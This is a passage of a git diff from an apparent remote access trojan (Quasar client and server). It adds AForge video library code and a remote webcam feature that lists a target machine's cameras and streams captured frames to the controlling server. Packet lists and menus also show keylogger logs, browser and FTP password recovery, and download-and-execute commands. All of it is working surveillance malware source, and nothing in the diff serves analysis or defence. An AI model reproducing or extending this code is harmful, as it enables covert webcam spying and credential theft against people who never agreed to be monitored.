passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + public virtual string Source + { + get { return "Screen Capture"; } + } + + /// + /// Gets or sets the screen capture region. + /// + /// + /// This property specifies which region (rectangle) of the screen to capture. It may cover multiple displays + /// if those are available in the system. + /// + /// The property must be set before starting video source to have any effect. + /// + /// + public Rectangle Region + { + get { return region; } + set { region = value; } + } + + /// + /// Time interval between making screen shots, ms. + /// + /// + /// The property specifies time interval in milliseconds between consequent screen captures. + /// Expected frame rate of the stream should be approximately 1000/FrameInteval. + /// + /// If the property is set to 0, then the stream will capture screen as fast as the system allows. + /// + /// Default value is set to 100. + /// + /// + public int FrameInterval + { + get { return frameInterval; } + set { frameInterval = Math.Max( 0, value ); } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// The property is not implemented for this video source and always returns 0. + /// + /// + public long BytesReceived + { + get { return 0; } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Screen's rectangle to capture (the rectangle may cover multiple displays). + /// + public ScreenCaptureStream( Rectangle region ) + { + this.region = region; + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Screen's rectangle to capture (the rectangle may cover multiple displays). + /// Time interval between making screen shots, ms. + /// + public ScreenCaptureStream( Rectangle region, int frameInterval ) + { + this.region = region; + this.FrameInterval = frameInterval; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + /// Video source is not specified. + /// + public void Start( ) + { + if ( !IsRunning ) + { + framesReceived = 0; + + // create events + stopEvent = new ManualResetEvent( false ); + + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = Source; // mainly for debugging + thread.Start( ); + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + stopEvent.Set( ); + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + // Worker thread + private void WorkerThread( ) + { + int width = region.Width; + int height = region.Height; + int x = region.Location.X; + int y = region.Location.Y; + Size size = region.Size; + + Bitmap bitmap = new Bitmap( width, height, PixelFormat.Format32bppArgb ); + Graphics graphics = Graphics.FromImage( bitmap ); + + // download start time and duration + DateTime start; + TimeSpan span; + + while ( !stopEvent.WaitOne( 0, false ) ) + { + // set dowbload start time + start = DateTime.Now; + + try + { + // capture the screen + graphics.CopyFromScreen( x, y, 0, 0, size, CopyPixelOperation.SourceCopy ); + + // increment frames counter + framesReceived++; + + // provide new image to clients + if ( NewFrame != null ) + { + // notify client + NewFrame( this, new NewFrameEventArgs( bitmap ) ); + } + + // wait for a while ? + if ( frameInterval > 0 ) + { + // get download duration + span = DateTime.Now.Subtract( start ); + + // miliseconds to sleep + int msec = frameInterval - (int) span.TotalMilliseconds; + + if ( ( msec > 0 ) && ( stopEvent.WaitOne( msec, false ) ) ) + break; + } + } + catch ( ThreadAbortException ) + { + break; + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + // wait for a while before the next try + Thread.Sleep( 250 ); + } + + // need to stop ? + if ( stopEvent.WaitOne( 0, false ) ) + break; + } + + // release resources + graphics.Dispose( ); + bitmap.Dispose( ); + + if ( PlayingFinished != null ) + { + PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); + } + } + } +} diff --git a/Client/Core/AForge/Video/SystemTools.cs b/Client/Core/AForge/Video/SystemTools.cs new file mode 100644 index 000000000..cc5285316 --- /dev/null +++ b/Client/Core/AForge/Video/SystemTools.cs @@ -0,0 +1,164 @@ +// AForge Core Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Set of systems tools. + /// + /// + /// The class is a container of different system tools, which are used + /// across the framework. Some of these tools are platform specific, so their + /// implementation is different on different platform, like .NET and Mono. + /// + /// + public static class SystemTools + { + /// + /// Copy block of unmanaged memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's value of - pointer to destination. + /// + /// This function is required because of the fact that .NET does + /// not provide any way to copy unmanaged blocks, but provides only methods to + /// copy from unmanaged memory to managed memory and vise versa. + /// + public static IntPtr CopyUnmanagedMemory( IntPtr dst, IntPtr src, int count ) + { + unsafe + { + CopyUnmanagedMemory( (byte*) dst.ToPointer( ), (byte*) src.ToPointer( ), count ); + } + return dst; + } + + /// + /// Copy block of unmanaged memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's value of - pointer to destination. + /// + /// This function is required because of the fact that .NET does + /// not provide any way to copy unmanaged blocks, but provides only methods to + /// copy from unmanaged memory to managed memory and vise versa. + /// + public static unsafe byte* CopyUnmanagedMemory( byte* dst, byte* src, int count ) + { +#if !MONO + return memcpy( dst, src, count ); +#else + int countUint = count >> 2; + int countByte = count & 3; + + uint* dstUint = (uint*) dst; + uint* srcUint = (uint*) src; + + while ( countUint-- != 0 ) + { + *dstUint++ = *srcUint++; + } + + byte* dstByte = (byte*) dstUint; + byte* srcByte = (byte*) srcUint; + + while ( countByte-- != 0 ) + { + *dstByte++ = *srcByte++; + } + return dst; +#endif + } + + /// + /// Fill memory region with specified value. + /// + /// + /// Destination pointer. + /// Filler byte's value. + /// Memory block's length to fill. + /// + /// Return's value of - pointer to destination. + /// + public static IntPtr SetUnmanagedMemory( IntPtr dst, int filler, int count ) + { + unsafe + { + SetUnmanagedMemory( (byte*) dst.ToPointer( ), filler, count ); + } + return dst; + } + + /// + /// Fill memory region with specified value. + /// + /// + /// Destination pointer. + /// Filler byte's value. + /// Memory block's length to fill. + /// + /// Return's value of - pointer to destination. + /// + public static unsafe byte* SetUnmanagedMemory( byte* dst, int filler, int count ) + { +#if !MONO + return memset( dst, filler, count ); +#else + int countUint = count >> 2; + int countByte = count & 3; + + byte fillerByte = (byte) filler; + uint fiilerUint = (uint) filler | ( (uint) filler << 8 ) | + ( (uint) filler << 16 );// | + //( (uint) filler << 24 ); + + uint* dstUint = (uint*) dst; + + while ( countUint-- != 0 ) + { + *dstUint++ = fiilerUint; + } + + byte* dstByte = (byte*) dstUint; + + while ( countByte-- != 0 ) + { + *dstByte++ = fillerByte; + } + return dst; +#endif + } + + +#if !MONO + // Win32 memory copy function + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + private static unsafe extern byte* memcpy( + byte* dst, + byte* src, + int count ); + // Win32 memory set function + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + private static unsafe extern byte* memset( + byte* dst, + int filler, + int count ); +#endif + } +} diff --git a/Client/Core/AForge/Video/VideoEvents.cs b/Client/Core/AForge/Video/VideoEvents.cs new file mode 100644 index 000000000..c5729e54d --- /dev/null +++ b/Client/Core/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index b6884edb7..7a90906a4 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -12,7 +12,8 @@ using xClient.Core.Data; using xClient.Core.Recovery.Browsers; using xClient.Core.Recovery.FtpClients; - +using AForge.Video.DirectShow; +using AForge.Video; namespace xClient.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ diff --git a/Client/Core/Commands/WebcamHandler.cs b/Client/Core/Commands/WebcamHandler.cs new file mode 100644 index 000000000..0e4e895a8 --- /dev/null +++ b/Client/Core/Commands/WebcamHandler.cs @@ -0,0 +1,84 @@ +using System; +using System.Drawing; +using System.IO; +using System.Windows.Forms; +using xClient.Core.Helper; +using System.Drawing.Imaging; +using System.Threading; +using xClient.Core.Networking; +using xClient.Core.Utilities; +using xClient.Enums; +using System.Collections.Generic; +using xClient.Core.Data; +using xClient.Core.Recovery.Browsers; +using xClient.Core.Recovery.FtpClients; +using AForge.Video.DirectShow; +using AForge.Video; + +namespace xClient.Core.Commands +{ + + + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE WEBCAM COMMANDS. */ + public static partial class CommandHandler + { + public static bool webcamStarted = false; + public static bool needsCapture = false; + public static Client _client; + public static int webcam; + public static VideoCaptureDevice FinalVideo; + + public static void HandleGetWebcams(Packets.ServerPackets.GetWebcams command, Client client) + { + List result = new List(); + FilterInfoCollection VideoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + foreach (FilterInfo VideoCaptureDevice in VideoCaptureDevices) + { + result.Add(VideoCaptureDevice.Name); + } + if (result.Count > 0) + new Packets.ClientPackets.GetWebcamsResponse(result).Execute(client); + } + + + public static void HandleGetWebcam(Packets.ServerPackets.GetWebcam command, Client client) + { + _client = client; + needsCapture = true; + webcam = command.Webcam; + if (!webcamStarted) + { + FilterInfoCollection VideoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + FinalVideo = new VideoCaptureDevice(VideoCaptureDevices[command.Webcam].MonikerString); + FinalVideo.NewFrame += FinalVideo_NewFrame; + FinalVideo.Start(); + webcamStarted = true; + } + } + public static void HandleDoWebcamStop(Packets.ServerPackets.DoWebcamStop command, Client client) + { + needsCapture = false; + webcamStarted = false; + FinalVideo.NewFrame -= FinalVideo_NewFrame; + FinalVideo.Stop(); + } + private static void FinalVideo_NewFrame(object sender, NewFrameEventArgs e) + { + if (!webcamStarted) + FinalVideo.Stop(); + + if (needsCapture) + { + byte[] imagegeBytes = new byte[0]; + Bitmap image = (Bitmap)e.Frame.Clone(); + using (MemoryStream stream = new MemoryStream()) + { + image.Save(stream, System.Drawing.Imaging.ImageFormat.Bmp); + new Packets.ClientPackets.GetWebcamResponse(stream.ToArray(), webcam).Execute(_client); + stream.Close(); + } + needsCapture = false; + } + } + } +} diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index b78cd0781..b92bc6e5f 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -30,6 +30,7 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ServerPackets.DoClientDisconnect), typeof (Packets.ServerPackets.DoClientReconnect), typeof (Packets.ServerPackets.DoClientUninstall), + typeof (Packets.ServerPackets.DoWebcamStop), typeof (Packets.ServerPackets.DoAskElevate), typeof (Packets.ServerPackets.DoDownloadAndExecute), typeof (Packets.ServerPackets.DoUploadAndExecute), @@ -47,6 +48,8 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ServerPackets.DoShowMessageBox), typeof (Packets.ServerPackets.DoClientUpdate), typeof (Packets.ServerPackets.GetMonitors), + typeof (Packets.ServerPackets.GetWebcams), + typeof (Packets.ServerPackets.GetWebcam), typeof (Packets.ServerPackets.DoShellExecute), typeof (Packets.ServerPackets.DoPathRename), typeof (Packets.ServerPackets.DoPathDelete), @@ -80,6 +83,8 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ClientPackets.DoDownloadFileResponse), typeof (Packets.ClientPackets.GetSystemInfoResponse), typeof (Packets.ClientPackets.GetMonitorsResponse), + typeof (Packets.ClientPackets.GetWebcamsResponse), + typeof (Packets.ClientPackets.GetWebcamResponse), typeof (Packets.ClientPackets.DoShellExecuteResponse), typeof (Packets.ClientPackets.GetStartupItemsResponse), typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), diff --git a/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs b/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs new file mode 100644 index 000000000..8dcd46a69 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetWebcamResponse.cs @@ -0,0 +1,28 @@ +using System; +using System.Drawing; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetWebcamResponse : IPacket + { + public byte[] Image { get; set; } + public int Webcam { get; set; } + + public GetWebcamResponse() + { + } + + public GetWebcamResponse(byte[] image, int webcam) + { + this.Image = image; + this.Webcam = webcam; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs b/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs new file mode 100644 index 000000000..07123af2a --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetWebcamsResponse : IPacket + { + public List Names { get; set; } + + public GetWebcamsResponse() + { + } + + public GetWebcamsResponse(List names) + { + this.Names = names; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index cd7bb6dc0..7e8d656b0 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -9,7 +9,6 @@ public static class PacketHandler public static void HandlePacket(Client client, IPacket packet) { var type = packet.GetType(); - if (type == typeof(ServerPackets.DoDownloadAndExecute)) { CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet, @@ -39,6 +38,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client); } + else if (type == typeof(ServerPackets.GetWebcam)) + { + CommandHandler.HandleGetWebcam((ServerPackets.GetWebcam)packet, client); + } else if (type == typeof(ServerPackets.GetProcesses)) { CommandHandler.HandleGetProcesses((ServerPackets.GetProcesses)packet, client); @@ -47,6 +50,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleDoProcessKill((ServerPackets.DoProcessKill)packet, client); } + else if (type == typeof(ServerPackets.DoWebcamStop)) + { + CommandHandler.HandleDoWebcamStop((ServerPackets.DoWebcamStop)packet, client); + } else if (type == typeof(ServerPackets.DoProcessStart)) { CommandHandler.HandleDoProcessStart((ServerPackets.DoProcessStart)packet, client); @@ -91,6 +98,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleDoClientUpdate((ServerPackets.DoClientUpdate)packet, client); } + else if (type == typeof(ServerPackets.GetWebcams)) + { + CommandHandler.HandleGetWebcams((ServerPackets.GetWebcams)packet, client); + } else if (type == typeof(ServerPackets.GetMonitors)) { CommandHandler.HandleGetMonitors((ServerPackets.GetMonitors)packet, client); diff --git a/Client/Core/Packets/ServerPackets/DoWebcamStop.cs b/Client/Core/Packets/ServerPackets/DoWebcamStop.cs new file mode 100644 index 000000000..39bb06617 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/DoWebcamStop.cs @@ -0,0 +1,18 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class DoWebcamStop : IPacket + { + public DoWebcamStop() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/ServerPackets/GetWebcam.cs b/Client/Core/Packets/ServerPackets/GetWebcam.cs new file mode 100644 index 000000000..00bbf23e0 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/GetWebcam.cs @@ -0,0 +1,25 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class GetWebcam : IPacket + { + public int Webcam { get; set; } + + public GetWebcam() + { + } + + public GetWebcam(int webcam) + { + this.Webcam = webcam; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetWebcams.cs b/Client/Core/Packets/ServerPackets/GetWebcams.cs new file mode 100644 index 000000000..450b91100 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/GetWebcams.cs @@ -0,0 +1,18 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class GetWebcams : IPacket + { + public GetWebcams() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 51197dee1..76f2dc784 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -1,6 +1,7 @@ using System; using System.IO; using System.Linq; +using System.Drawing; using System.Threading; using xServer.Core.Data; using xServer.Core.Helper; @@ -172,5 +173,35 @@ public static void HandleGetMonitorsResponse(Client client, GetMonitorsResponse client.Value.FrmRdp.AddMonitors(packet.Number); } + + public static void HandleGetWebcamsResponse(Client client, GetWebcamsResponse packet) + { + if (client.Value == null || client.Value.FrmWebcam == null) + return; + client.Value.FrmWebcam.AddWebcams(packet.Names); + } + + public static void HandleGetWebcamResponse(Client client, GetWebcamResponse packet) + { + if (client.Value == null || client.Value.FrmWebcam == null + || client.Value.FrmWebcam.IsDisposed + || client.Value.FrmWebcam.Disposing) + return; + + if (packet.Image == null) + return; + + using (MemoryStream ms = new MemoryStream(packet.Image)) + { + Bitmap img = new Bitmap(ms); + client.Value.FrmWebcam.UpdateImage(img); + } + + if (client.Value != null && client.Value.FrmWebcam != null && client.Value.FrmWebcam.IsStarted) + { + new GetWebcam(packet.Webcam).Execute(client); + + } + } } } \ No newline at end of file diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index 111af1173..3a677cf86 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -77,6 +77,7 @@ public QuasarServer() : base() typeof (Packets.ServerPackets.DoClientDisconnect), typeof (Packets.ServerPackets.DoClientReconnect), typeof (Packets.ServerPackets.DoClientUninstall), + typeof (Packets.ServerPackets.DoWebcamStop), typeof (Packets.ServerPackets.DoAskElevate), typeof (Packets.ServerPackets.DoDownloadAndExecute), typeof (Packets.ServerPackets.DoUploadAndExecute), @@ -94,6 +95,8 @@ public QuasarServer() : base() typeof (Packets.ServerPackets.DoShowMessageBox), typeof (Packets.ServerPackets.DoClientUpdate), typeof (Packets.ServerPackets.GetMonitors), + typeof (Packets.ServerPackets.GetWebcams), + typeof (Packets.ServerPackets.GetWebcam), typeof (Packets.ServerPackets.DoShellExecute), typeof (Packets.ServerPackets.DoPathRename), typeof (Packets.ServerPackets.DoPathDelete), @@ -127,6 +130,8 @@ public QuasarServer() : base() typeof (Packets.ClientPackets.DoDownloadFileResponse), typeof (Packets.ClientPackets.GetSystemInfoResponse), typeof (Packets.ClientPackets.GetMonitorsResponse), + typeof (Packets.ClientPackets.GetWebcamsResponse), + typeof (Packets.ClientPackets.GetWebcamResponse), typeof (Packets.ClientPackets.DoShellExecuteResponse), typeof (Packets.ClientPackets.GetStartupItemsResponse), typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 54affb40d..bfa3bc322 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -25,6 +25,7 @@ public class UserState : IDisposable public string DownloadDirectory { get; set; } public FrmRemoteDesktop FrmRdp { get; set; } + public FrmRemoteWebcam FrmWebcam { get; set; } public FrmTaskManager FrmTm { get; set; } public FrmFileManager FrmFm { get; set; } public FrmRegistryEditor FrmRe { get; set; } diff --git a/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs b/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs new file mode 100644 index 000000000..8f5275459 --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetWebcamResponse.cs @@ -0,0 +1,29 @@ +using System; +using System.Drawing; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + + [Serializable] + public class GetWebcamResponse : IPacket + { + public byte[] Image { get; set; } + public int Webcam { get; set; } + + public GetWebcamResponse() + { + } + + public GetWebcamResponse(byte[] image, int webcam) + { + this.Image = image; + this.Webcam = webcam; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs b/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs new file mode 100644 index 000000000..3e3fb297b --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetWebcamsResponse : IPacket + { + public List Names { get; set; } + + public GetWebcamsResponse() + { + } + + public GetWebcamsResponse(List names) + { + this.Names = names; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index 84187c270..313123850 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -52,6 +52,14 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet); } + else if (type == typeof(ClientPackets.GetWebcamsResponse)) + { + CommandHandler.HandleGetWebcamsResponse(client, (ClientPackets.GetWebcamsResponse)packet); + } + else if (type == typeof(ClientPackets.GetWebcamResponse)) + { + CommandHandler.HandleGetWebcamResponse(client, (ClientPackets.GetWebcamResponse)packet); + } else if (type == typeof(ClientPackets.DoShellExecuteResponse)) { CommandHandler.HandleDoShellExecuteResponse(client, diff --git a/Server/Core/Packets/ServerPackets/DoWebcamStop.cs b/Server/Core/Packets/ServerPackets/DoWebcamStop.cs new file mode 100644 index 000000000..11e8b4c2a --- /dev/null +++ b/Server/Core/Packets/ServerPackets/DoWebcamStop.cs @@ -0,0 +1,18 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class DoWebcamStop : IPacket + { + public DoWebcamStop() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/ServerPackets/GetWebcam.cs b/Server/Core/Packets/ServerPackets/GetWebcam.cs new file mode 100644 index 000000000..f384c7739 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/GetWebcam.cs @@ -0,0 +1,25 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class GetWebcam : IPacket + { + public int Webcam { get; set; } + + public GetWebcam() + { + } + + public GetWebcam(int webcam) + { + this.Webcam = webcam; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/GetWebcams.cs b/Server/Core/Packets/ServerPackets/GetWebcams.cs new file mode 100644 index 000000000..4fe566d3a --- /dev/null +++ b/Server/Core/Packets/ServerPackets/GetWebcams.cs @@ -0,0 +1,18 @@ +using System; +using xServer.Core.Networking; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class GetWebcams : IPacket + { + public GetWebcams() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index a3a8dfab1..d7f408a84 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -86,6 +86,7 @@ private void InitializeComponent() this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteWebcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip.SuspendLayout(); this.tableLayoutPanel.SuspendLayout(); this.statusStrip.SuspendLayout(); @@ -113,7 +114,7 @@ private void InitializeComponent() this.uninstallToolStripMenuItem}); this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(149, 22); + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.connectionToolStripMenuItem.Text = "Connection"; // // updateToolStripMenuItem @@ -164,7 +165,7 @@ private void InitializeComponent() this.actionsToolStripMenuItem}); this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(149, 22); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.systemToolStripMenuItem.Text = "System"; // // systemInformationToolStripMenuItem @@ -210,7 +211,7 @@ private void InitializeComponent() // connectionsToolStripMenuItem // this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; - this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); this.connectionsToolStripMenuItem.Text = "TCP Connections"; this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click); // @@ -282,11 +283,12 @@ private void InitializeComponent() // this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.remoteDesktopToolStripMenuItem, + this.remoteWebcamToolStripMenuItem, this.passwordRecoveryToolStripMenuItem, this.keyloggerToolStripMenuItem}); this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(149, 22); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.surveillanceToolStripMenuItem.Text = "Surveillance"; // // remoteDesktopToolStripMenuItem @@ -321,7 +323,7 @@ private void InitializeComponent() this.showMessageboxToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - 